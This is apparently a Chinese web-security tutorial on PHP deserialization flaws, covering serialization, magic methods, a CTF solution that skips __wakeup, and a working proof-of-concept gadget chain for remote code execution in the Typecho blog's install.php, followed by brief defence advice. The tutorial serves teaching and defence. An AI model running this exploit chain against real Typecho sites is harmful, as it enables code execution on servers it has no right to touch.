[红日安全]Web安全Day15 - 反序列化实战攻防
字数 1290 2025-08-25 22:58:55
Web安全Day15 - 反序列化实战攻防
漏洞简介
1.1 什么是反序列化漏洞
反序列化漏洞是利用程序已有的一些函数在参数中注入一些代码,达到代码执行的效果。
1.2 漏洞危害
攻击者可以利用反序列化漏洞,通过构造恶意请求报文远程执行命令,危害较大。
漏洞原理
2.1 序列化与反序列化
2.1.1 序列化
序列化是将一个类压缩成一个字符串的方法。以PHP为例,序列化后的字符串包含类名称和类内属性键值对,但不包含类方法。
示例PHP代码:
class userInfo {
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
public function modifyPasswd($passwd) {
$this->passwd = $passwd;
}
}
$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
输出结果:
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";}
不同权限属性的表示方式:
- private:前面加上本类名称
- protected:前面加星号(*)
- public:无前缀
2.1.2 反序列化
反序列化是将含有类信息的序列化字符串还原成类。反序列化的类要使用原先的类方法必须依托于域,脱离了域的反序列化类无法调用序列化之前的类方法。
2.2 PHP魔法函数
PHP魔法方法可以在特定情况下自动触发,是反序列化漏洞利用的关键。
2.2.1 __wakeup()
在反序列化时会先检查类中是否存在__wakeup()函数,如果存在则会先调用此方法。
2.2.2 __destruct()
当对象的所有引用都被删除或者类被销毁时自动调用。
2.2.3 __construct()
在创建一个类的实例时自动调用。
2.2.4 __toString()
当类被当作字符串时调用。触发场景包括:
- 反序列化对象与字符串连接时
- 反序列化对象参与格式化字符串时
- 反序列化对象与字符串进行==比较时
- 反序列化对象参与格式化SQL语句时
- 反序列化对象经过php字符串函数时
- 在in_array()方法中特定情况下
- 作为class_exists()参数时
2.2.5 __get()
在读取不可访问的属性值时自动调用。
2.2.6 __call()
在调用未定义的方法时调用。
CTF中的反序列化
3.1 题目
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this->file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname(__FILE__).'/'.$this->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this->file='index.php';
}
public function __toString(){return '';}
}
if (!isset($_GET['file'])) {
show_source('index.php');
} else {
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
3.2 解答
利用PHP反序列化的特性:当序列化字符串中表示对象属性个数的值大于实际属性个数时,会跳过__wakeup()方法的执行。
POC:
class SoFun{
protected $file='flag.php';
}
$poc = new SoFun;
echo serialize($poc);
修改序列化字符串中表示属性个数的数字:
O:5:"SoFun":2:{s:7:"*file";s:8:"flag.php";}
CMS实战(Typecho)
4.1 CMS介绍
Typecho是一款基于PHP5开发的轻量级开源博客程序。
4.2 漏洞成因
在install.php文件中调用了unserialize函数,传入参数通过Typecho_Cookie::get方法获取,未经过滤。
4.3 利用链分析
- 反序列化Typecho_Cookie类方法获得的变量(输入点)
- 实例化Typecho_Db,触发__construct魔法函数
- 在Typecho_Feed类中找到__toString魔法函数
- 在Typecho_Requests类中找到__get魔法函数
- 最终调用call_user_func函数实现命令执行
POC:
class Typecho_Feed{
private $_type='ATOM 1.0';
private $_items;
public function __construct(){
$this->_items = array(
'0'=>array(
'author'=> new Typecho_Request())
);
}
}
class Typecho_Request{
private $_params = array('screenName'=>'phpinfo()');
private $_filter = array('assert');
}
$poc = array(
'adapter'=>new Typecho_Feed(),
'prefix'=>'typecho');
echo base64_encode(serialize($poc));
防御方法
5.1 过滤用户输入
维护黑名单或白名单限制用户输入,过滤不合理、不符合程序逻辑的输入。
5.2 Java防御
参考Java反序列化漏洞修复方案。